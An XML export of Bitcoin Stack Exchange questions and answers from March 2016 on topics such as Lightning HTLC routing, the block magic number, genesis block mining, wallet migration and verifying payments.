  <row Id="43180" PostTypeId="1" CreationDate="2016-03-04T02:33:03.637" Score="1" ViewCount="93" Body="&lt;p&gt;It seems like it would be useful to avoid replay attacks if your wallet could specify that a transaction must be confirmed before say the (current+100)th block before broadcasting it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess there could be a problem with this scheme if the tx was no longer able to be included into a block after a reorg (esp for dependent txs)&lt;/p&gt;&#xA;" OwnerUserId="13426" LastEditorUserId="13426" LastEditDate="2016-03-04T02:40:26.110" LastActivityDate="2016-03-04T02:45:26.973" Title="Is there any way to make a transaction invalid if it is not confirmed before a certain block?" Tags="|transactions|confirmations|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43181" PostTypeId="2" ParentId="43180" CreationDate="2016-03-04T02:45:26.973" Score="2" Body="&lt;p&gt;No, there isn't a way to make a transaction that has to be included before a certain block number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's a good reason for this: such a transaction would not be what is known as reorg-safe. Generally, transactions should be able to be included in either side of a block chain fork. If you make a transaction that can only be included before a certain block number, and then a fork occurs that makes a chain that doesn't include it before the designated block number, then that transaction gets reversed and so do all transactions that depend on the base transaction. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-03-04T02:45:26.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43182" PostTypeId="1" AcceptedAnswerId="43183" CreationDate="2016-03-04T04:17:26.913" Score="0" ViewCount="759" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/release/v0.12.0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core 0.12.0&lt;/a&gt; added many bandwidth (e.g., &lt;code&gt;maxuploadtarget&lt;/code&gt;) and rate limiting (e.g., with &lt;code&gt;maxmempool&lt;/code&gt;) features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;code&gt;maxuploadtarget&lt;/code&gt; set to 0 (default; unlimited), yet I used to get several gigabytes of traffic each day. Now I only get a few hundred. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What must I do to make Bitcoin core maximize my bandwidth?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2016-03-04T04:55:33.340" LastActivityDate="2016-05-18T16:17:53.130" Title="Making Bitcoin Core 0.12.0 maximize by bandwidth" Tags="|bitcoin-core|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43183" PostTypeId="2" ParentId="43182" CreationDate="2016-03-04T04:36:52.187" Score="1" Body="&lt;p&gt;The new option is called &lt;code&gt;maxuploadtarget&lt;/code&gt;. It joins &lt;code&gt;maxconnections&lt;/code&gt; and &lt;code&gt;listen&lt;/code&gt; in the list of things that can be used to control the bandwidth and resource usage of your Bitcoin client. &lt;code&gt;maxuploadtarget&lt;/code&gt; controls the bandwidth used in a much more precise way than was previously possible without external tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;maxuploadtarget&lt;/code&gt; is off by default. You don't need to do anything. More documentation is available &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/reduce-traffic.md&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-05-18T16:17:53.130" LastActivityDate="2016-05-18T16:17:53.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43184" PostTypeId="1" AcceptedAnswerId="43190" CreationDate="2016-03-04T07:54:35.680" Score="10" ViewCount="1660" Body="&lt;p&gt;It is my understanding that Lightning is to scale with users having only few payment channels by leveraging the &lt;a href=&quot;https://en.wikipedia.org/wiki/Six_degrees_of_separation&quot; rel=&quot;noreferrer&quot;&gt;six degrees of separation theory&lt;/a&gt; to facilitate payment routing. I understand how onion routing is employed to obfuscate origin and target of the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read claims that it is also not possible for a node in the middle to receive but not forward the payment. This appears to be implemented by having either all hops of the payment execute at once, or none at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be assured that the whole payment chain executes the payment at once?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-08-25T16:48:38.750" LastActivityDate="2020-08-25T16:48:38.750" Title="How is a node in the middle prohibited from keeping the money in a routed Payment in Lightning network?" Tags="|lightning-network|lightning-routing|hash-time-locked-contract|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43185" PostTypeId="1" CreationDate="2016-03-04T08:24:51.073" Score="0" ViewCount="83" Body="&lt;p&gt;I would like to find out if its possible for a Bitcoin recipient not to receive a payment while on my side(Sender) it shows that the payment was successful? See print screen of payment below, the payment was done more than 36 hours ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1bcOc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bcOc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33601" LastActivityDate="2016-03-04T08:52:58.613" Title="Bitcoin not reaching Recipient" Tags="|sell-bitcoins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43186" PostTypeId="2" ParentId="43185" CreationDate="2016-03-04T08:52:58.613" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;https://blockchain.info/address/1PnwbcQPfWwBPayBvvpcVwK6NjuEmubQTB?sort=0&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1PnwbcQPfWwBPayBvvpcVwK6NjuEmubQTB?sort=0&lt;/a&gt; to check if your payment is on it.&lt;/p&gt;&#xA;" OwnerUserId="14167" LastActivityDate="2016-03-04T08:52:58.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43187" PostTypeId="2" ParentId="43105" CreationDate="2016-03-04T13:52:10.923" Score="3" Body="&lt;p&gt;The &lt;code&gt;submitblock&lt;/code&gt; method takes a raw serialized block as its only parameter. You can find detailed documentation on these &lt;a href=&quot;https://bitcoin.org/en/developer-reference#serialized-blocks&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is the raw genesis block in bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when you split is apart into its pieces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;version:     01000000&#xA;prev block:  0000000000000000000000000000000000000000000000000000000000000000 &#xA;merkle root: 3BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA4B1E5E4A&#xA;timestamp:   29AB5F49&#xA;bits:        FFFF001D&#xA;nonce        1DAC2B7C&#xA;num txs:     01&#xA;tx1:         01000000010000000000000000000000000000000000000000000000000000000000000000FFFFFFFF4D04FFFF001D0104455468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73FFFFFFFF0100F2052A01000000434104678AFDB0FE5548271967F1A67130B7105CD6A828E03909A67962E0EA1F61DEB649F6BC3F4CEF38C4F35504E51EC112DE5C384DF7BA0B8D578A4C702B6BF11D5FAC00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-03-04T13:52:10.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43188" PostTypeId="2" ParentId="43179" CreationDate="2016-03-04T14:21:34.150" Score="0" Body="&lt;p&gt;MultiBit developer here. If you're using the latest version of MultiBit HD (0.2.0 at the time of writing) then your default would have been set to a reasonable level for the current network conditions of near full blocks. You can always set it higher if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your version is older and you haven't upgraded then the default fee will likely be too low to be accepted by a miner in the current conditions. It is likely to hang around until it is finally purged by all nodes from their mempools. This can take several days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information is here: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9737/117&quot;&gt;https://bitcoin.stackexchange.com/a/9737/117&lt;/a&gt; (as suggested by @StephenM347).&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-03-04T14:21:34.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43189" PostTypeId="1" CreationDate="2016-03-04T15:27:24.660" Score="15" ViewCount="7988" Body="&lt;p&gt;What is the Magic no used in the block structure, why is the value always 0xD9B4BEF9 and what is it used for ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="32892" LastEditorUserId="2306" LastEditDate="2016-03-04T18:05:42.040" LastActivityDate="2016-03-04T23:25:21.730" Title="What is the magic number used in the block structure?" Tags="|block|" AnswerCount="1" CommentCount="2" ClosedDate="2017-11-22T04:34:43.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="43190" PostTypeId="2" ParentId="43184" CreationDate="2016-03-04T20:25:24.040" Score="15" Body="&lt;p&gt;Lightning forwards payments using a construction called a &quot;hashed timelock contract&quot; (HTLC), which allows the payee to redeem the transaction if they know the preimage to a given hash, or allows the payer to redeem the transaction after a given timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So eg if I'm selling you something for $2 over lightning, I might say &quot;I'll tell you the sha256 preimage of &lt;code&gt;1bc9852364a8aa073daedb3965716ab63d84570c645b091f535a3677010d9984&lt;/code&gt; when you pay me $2. You setup an HTLC with Alice giving them $2 when they know the preimage with a timeout of 50 hours, Alice sets up an HTLC with Bob for $2 with a timeout of 28 hours, and Bob sets up an HTLC with me for $2 with a timeout of 4 hours. At this point no money has actually changed hands -- if I don't reveal the preimage, everyone gets their money back. If I do reveal the preimage (&quot;the password is xyzzy&quot;), I get $2 from Bob; but Alice and you still haven't actually paid any money. But Bob knows the preimage, so he can claim $2 from Alice; and then Alice can claim $2 from you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the effect is, the middlemen never have the option of running away with the money, they can only run away having paid the money, but not collected it from you: if Bob received the preimage, but didn't collect from Alice before the 28 hour time limit expired, I'd be paid, while Alice and you would get your money back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be pretty stupid of Bob, so we assume that mostly people like Bob will avoid doing things like this, and in effect the whole chain will be cleared at once.&lt;/p&gt;&#xA;" OwnerUserId="30971" LastEditorUserId="120" LastEditDate="2016-04-11T11:18:17.573" LastActivityDate="2016-04-11T11:18:17.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43191" PostTypeId="2" ParentId="43189" CreationDate="2016-03-04T21:02:29.503" Score="12" Body="&lt;p&gt;The magic number is not something specific to bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Magic_number_(programming)&quot; rel=&quot;noreferrer&quot;&gt;Magic numbers&lt;/a&gt; are used in computer science for both files and protocols. They identify the type of the file/data structure. A program receiving such a file/data structure can check the magic number and immediately know the supposed type of that file/data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the Unix/Linux command &lt;a href=&quot;https://en.wikipedia.org/wiki/File_(command)&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;file&lt;/code&gt;&lt;/a&gt; uses to quickly identify the type of file. It only requires to check only the first bytes of a file to determine its (supposed) type. A list of files and their magic numbers can be found &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_file_signatures&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Protocols like bitcoin use data structures to talk to each other (e.g. propagating blocks through the network). Nodes check the first bytes to identify the type of data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another use of magic numbers is that you can check the type of the file or data structure on a text editor. E.g. while a png image is binary if you open it with a text editor you will notice that it starts with &lt;code&gt;.PNG....&lt;/code&gt;. Another example, the SMB protocol replies start with &lt;code&gt;FFSMB&lt;/code&gt;. Note, however, that this is not always the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other files/structures have magic numbers that do not make much sense; they may be some geeky code or inside joke of the developers that chose it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that is what it is used for. As far as I can tell &lt;code&gt;0xD9B4BEF9&lt;/code&gt; is quite arbitrary... but maybe there is some meaning for its creator.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-03-04T23:25:21.730" LastActivityDate="2016-03-04T23:25:21.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43197" PostTypeId="1" CreationDate="2016-03-05T01:30:07.393" Score="3" ViewCount="3154" Body="&lt;p&gt;Seems that many people become scared as soon as they seen 1 week or over and discover they've to download the full blockchain(ca. 60 GB now required), so it's full of question about migrating from bitcoin core to electrum? But what about vice versa? Bitcoin core doesn't support sweeping, but it should support, by command line, importing private addresses. &#xA;First questions, I read there is dumpwallet, is there a importwallet option that allow to import more than 1 private key at time? This could be a simply option, import all keys at time. Import each keys with importprivkey can be a long operation. &#xA;Then, 2nd option, is just send electrum btc to a bitcoin core address right? What about get the electrum wallet, is bitcoin core able of read it in some ways (not with external software)? Is there a way to safely convert? &lt;/p&gt;&#xA;" OwnerUserId="33627" LastActivityDate="2019-05-02T13:12:05.227" Title="Migrating from Electrum =&gt; Bitcoin core" Tags="|bitcoin-core|electrum|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43199" PostTypeId="2" ParentId="43197" CreationDate="2016-03-05T03:32:53.027" Score="3" Body="&lt;p&gt;Yes, &lt;code&gt;importwallet&lt;/code&gt; &lt;a href=&quot;https://bitcoin.org/en/developer-reference#importwallet&quot; rel=&quot;nofollow&quot;&gt;exists&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coverting a wallet from Electrum to Bitcoin Core is very hard, as both pieces of software have a very different idea of what a wallet is. Electrum relies on servers that provide indexed blockchain information to discover transactions, so its wallet does not store much information. Bitcoin Core needs all your transactions and keys actually available in the wallet so that it can operate independently.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-05T03:32:53.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43201" PostTypeId="1" CreationDate="2016-03-05T07:12:58.980" Score="4" ViewCount="18532" Body="&lt;p&gt;I sent a Bitcoin payment using Circle Pay. According to my Circle Pay the transaction is completed. It's been two days and the person on the other end is claiming they have not received the money. How can I check to see if he is telling the truth. From what I read, all transactions are public, correct?&lt;/p&gt;&#xA;" OwnerUserId="33636" LastEditorUserId="5406" LastEditDate="2016-03-05T14:13:16.930" LastActivityDate="2020-04-02T11:46:46.950" Title="How to verify that the recipient received a payment?" Tags="|lost-bitcoins|lost-transactions|" AnswerCount="4" CommentCount="1" ClosedDate="2023-07-31T15:20:23.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="43202" PostTypeId="1" AcceptedAnswerId="43219" CreationDate="2016-03-05T07:16:46.117" Score="0" ViewCount="4607" Body="&lt;p&gt;Following &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; guide, I'm trying to learn how to mine a genesis block, not to launch another altcoin or anything, blockchain databases are going to be important and I want to be ahead of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;https://github.com/lhartikk/GenesisH0&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; script and working with the litecoin source. I have only changed the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find LoadBlockIndex() function, inside, change:&#xA;    - paraphrase (pszTimestamp) to any recent news phase.&#xA;    - get the latest unix time (do a google), and put in block.nTime.&#xA;    - set any nNonce (doesn't really matter)&#xA;you can change the time/nonce for testnet too, if you want to use it.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those variables are now found in &lt;code&gt;chainparams.cpp&lt;/code&gt; and I didn't change the testnet time/nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After compiling when I try to run &lt;code&gt;litecoind&lt;/code&gt; I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind: chainparams.cpp:220: CTestNetParams::CTestNetParams(): Assertion `hashGenesisBlock == uint256(&quot;0xf5ae71e26c74beacc88382716aced69cddf3dffff24f384e1808905e0188f68f&quot;)' failed.&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can help or point me in the direction of some modern documentation I'd me most grateful :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="18196" LastEditDate="2016-03-06T18:57:01.113" LastActivityDate="2018-03-15T15:52:31.913" Title="How to mine a genesis block?" Tags="|litecoin|genesis-block|mining-software|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43204" PostTypeId="2" ParentId="11968" CreationDate="2016-03-05T09:10:16.487" Score="0" Body="&lt;p&gt;Airtm.io the best way to buy bitcoin in Venezuela with Bolivars, a based on Uphold.com and super safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://medium.com/@airtm.io/bitcoin-brokers-and-exchanges-grow-their-business-with-airtm-749df3f20424#.ae7lzub4p&quot; rel=&quot;nofollow&quot;&gt;https://medium.com/@airtm.io/bitcoin-brokers-and-exchanges-grow-their-business-with-airtm-749df3f20424#.ae7lzub4p&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://medium.com/@airtm.io/corredores-y-casas-de-cambio-bitcoin-crecen-su-negocio-con-airtm-46442f456eee#.j3h2swzds&quot; rel=&quot;nofollow&quot;&gt;https://medium.com/@airtm.io/corredores-y-casas-de-cambio-bitcoin-crecen-su-negocio-con-airtm-46442f456eee#.j3h2swzds&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33642" LastActivityDate="2016-03-05T09:10:16.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43205" PostTypeId="1" CreationDate="2016-03-05T09:34:23.680" Score="4" ViewCount="70" Body="&lt;p&gt;In the current Bitcoin blocksize debate, &lt;a href=&quot;http://xtnodes.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;xtnodes.com&lt;/a&gt; shows a pie chart of nodes running different implementations of Bitcoin; Classic, XT and Unlimited, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this node count in any way reflect the mining power behind each Bitcoin version?&lt;/p&gt;&#xA;" OwnerUserId="33644" LastEditorUserId="963" LastEditDate="2016-12-18T12:08:59.123" LastActivityDate="2016-12-18T12:08:59.123" Title="Does the node count reflect the mining power support of different Bitcoin versions?" Tags="|nodes|block-size-increase|bitcoin-classic|bitcoin-unlimited|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43206" PostTypeId="2" ParentId="43197" CreationDate="2016-03-05T10:03:56.530" Score="1" Body="&lt;p&gt;With Electrum's command line you can dump all your private keys, or only those that are funded. See &lt;a href=&quot;http://docs.electrum.org/en/latest/cmdline.html#export-private-keys-and-sweep-coins&quot; rel=&quot;nofollow&quot;&gt;http://docs.electrum.org/en/latest/cmdline.html#export-private-keys-and-sweep-coins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2016-03-05T10:03:56.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43207" PostTypeId="1" CreationDate="2016-03-05T13:00:42.610" Score="0" ViewCount="512" Body="&lt;p&gt;I sent my bitcoins from my multibit wallet, first I did a a test spend which came across and then I sent all my coins. The transaction got a triangle icon and the text &quot;this transaction is not yet confirmed&quot; on it. I waited 30 minutes, nothing happened. I have the default fee set so it should be okay.&#xA;So I read on the multibit page here: &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&lt;/a&gt;&#xA;and at the bottom it says that I can go to tools and reset blockchain. I did and it syncronized again for a while.&#xA;But when it was completed the transaction with the triangle is gone in my transaction list but my bitcoin are not in my wallet either.&#xA;How do I revert/reset and get my bitcoins back?&lt;/p&gt;&#xA;" OwnerUserId="33205" LastEditorUserId="5406" LastEditDate="2017-08-15T14:52:45.467" LastActivityDate="2017-08-15T14:52:45.467" Title="Bitcoin gone with &quot;this transaction is not yet confirmed&quot;" Tags="|unconfirmed-transactions|multibit|lost-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43208" PostTypeId="2" ParentId="43205" CreationDate="2016-03-05T13:59:08.143" Score="2" Body="&lt;p&gt;No, nodes and miners are separate entities performing different functions in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miners create the blockchain, which requires specialized hardware that performs hashing. The hardware is acquired through a significant investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes are relay points in the network that verify, maintain and distribute the blockchain. They require (by comparison to mining) only a small hardware investment, or can even be run on virtual servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes are much easier to be brought online, and can even be artificially inflated by responding to several IP addresses with the same node. Mining power can be directly measured by its output of proof-of-work. The numbers of nodes and mining power are in no direct correlation to each other.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-05T13:59:08.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43209" PostTypeId="2" ParentId="43201" CreationDate="2016-03-05T14:15:51.160" Score="1" Body="&lt;p&gt;Just check the address of the recipient on a blockchain explorer (e.g. &lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/&lt;/a&gt;). If the address shows your payment as confirmed, it must have arrived. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may show, but still be marked as unconfirmed which would explain why the recipient states that they haven't received it yet.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-05T14:15:51.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43210" PostTypeId="5" CreationDate="2016-03-05T14:37:39.000" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-05T14:37:39.000" LastActivityDate="2016-03-05T14:37:39.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43211" PostTypeId="4" CreationDate="2016-03-05T14:37:39.000" Score="0" Body="Questions that are specific to the USA only, i.e. on government policy to Bitcoin, or laws and regulation regarding usage and purchase of Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-05T14:37:39.000" LastActivityDate="2016-03-05T14:37:39.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43212" PostTypeId="2" ParentId="43207" CreationDate="2016-03-05T15:14:31.030" Score="1" Body="&lt;p&gt;If nothing else in the help works, you can move your wallet to blockchain.info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_movingAWallet.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_movingAWallet.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2016-03-05T15:14:31.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43213" PostTypeId="1" CreationDate="2016-03-05T17:48:42.917" Score="9" ViewCount="689" Body="&lt;p&gt;Why does Bitcoin Core contributor Peter Todd think that &lt;a href=&quot;https://bitcoinmagazine.com/articles/four-key-disagreements-between-bitcoin-classic-and-bitcoin-core-four-key-disagreements-between-bitcoin-classic-and-bitcoin-core-four-key-disagreements-between-bitcoin-classic-and-bitcoin-core-1457106744&quot;&gt;increasing the Bitcoin block size would lead to a more centralised system&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;“The system doesn’t scale, and you just have to accept that and do something smarter. Every time you do a [block size limit] increase, you’re making the system more centralized.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Bitcoin block size affect centralisation?&lt;/p&gt;&#xA;" OwnerUserId="32742" LastEditorUserId="32742" LastEditDate="2016-03-05T20:59:46.320" LastActivityDate="2016-03-06T17:27:48.530" Title="Why would increasing the Bitcoin block size lead to a more centralised system?" Tags="|bitcoin-core|bitcoin-core-development|decentralization|block-size-increase|bitcoin-classic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43214" PostTypeId="1" AcceptedAnswerId="43242" CreationDate="2016-03-05T23:27:11.213" Score="1" ViewCount="426" Body="&lt;p&gt;I'm looking to setup my own digital asset or coin on either counterparty or nxt assets or ethereum to distribute to my loyal customers, but I noticed that even if I created an account for my customers, they have no way of sending that token back to me when they wish to redeem it as these platforms require their transaction fees be paid in their native currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a flaw in these systems or is there an alternative solution to this problem? Or what solutions have others come up with thus far?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-01-27T23:14:58.987" Title="Is it true that colored coins or digital assets (counterparty / ethereum / nxt assets / etc.) have an issue of paying fees?" Tags="|nxt|ethereum|colored-coins|decentralized-assets|counterparty|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43216" PostTypeId="1" CreationDate="2016-03-06T04:38:23.673" Score="1" ViewCount="3444" Body="&lt;p&gt;Here is my bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=root&#xA;rpcpassword=passwordhere&#xA;rpcconnect=75.74.28.1.2 (last 2 digits randomized for security).&#xA;rpcport=8332&#xA;rpcallowip=107.180.44.217&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So whats the issue? When I run it via localhost it is able to connect. Externally it isn't. Ports are forwarded and are open.&lt;/p&gt;&#xA;" OwnerUserId="26351" LastActivityDate="2016-09-09T04:25:04.027" Title="Connection refused from external server" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43217" PostTypeId="1" CreationDate="2016-03-06T07:57:15.480" Score="3" ViewCount="7458" Body="&lt;p&gt;I used BitCoin for the 1st and final time so far about 2-3 years ago. I thought I had lost my wallet but I found an old backup of my hard drive and it contains a file &quot;multibit.key&quot;. I installed a program called MultiBit HD but all the instructions for importing an old forgotten wallet are for the old version of MultiBit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short: what now? I would like to open my &quot;multibit.key&quot; wallet, I think I remember the password but I have a hard time opening/importing it to MultiBit HD. If that is even the right program to use... :)&lt;/p&gt;&#xA;" OwnerUserId="33664" LastActivityDate="2021-10-27T05:46:21.833" Title="Found my multibit.key file, what now?" Tags="|lost-bitcoins|wallet-import|private-key-import|multibit-hd|lost-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43219" PostTypeId="2" ParentId="43202" CreationDate="2016-03-06T10:24:40.170" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://dillingers.com/blog/2015/04/18/how-to-make-an-altcoin/&quot; rel=&quot;nofollow&quot;&gt;How to make an altcoin&lt;/a&gt; on Bear's Den&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2016-03-06T10:24:40.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43220" PostTypeId="2" ParentId="43201" CreationDate="2016-03-06T10:29:07.673" Score="1" Body="&lt;p&gt;as Murch says, you could search a transaction on a blockchain explorer (eg. &lt;a href=&quot;https://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;blockexplorer.com&lt;/a&gt;, &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;, ...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching a specific transaction could be according of &quot;transaction hash&quot;, &quot;sender address&quot; or &quot;receiver address&quot; of that transaction. It's trivial that if you search by transaction hash, with a high probability a unique result will be show to you, otherwise searching with addresses show all transactions of that address and you must find the proper one that represents your transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding your transaction you must see it's status (&quot;unconfirmed&quot; or &quot;n Confirmations&quot;) and then you could prove your assertion by presenting this link of blockchain explorer to anybody.&lt;/p&gt;&#xA;" OwnerUserId="33593" LastActivityDate="2016-03-06T10:29:07.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
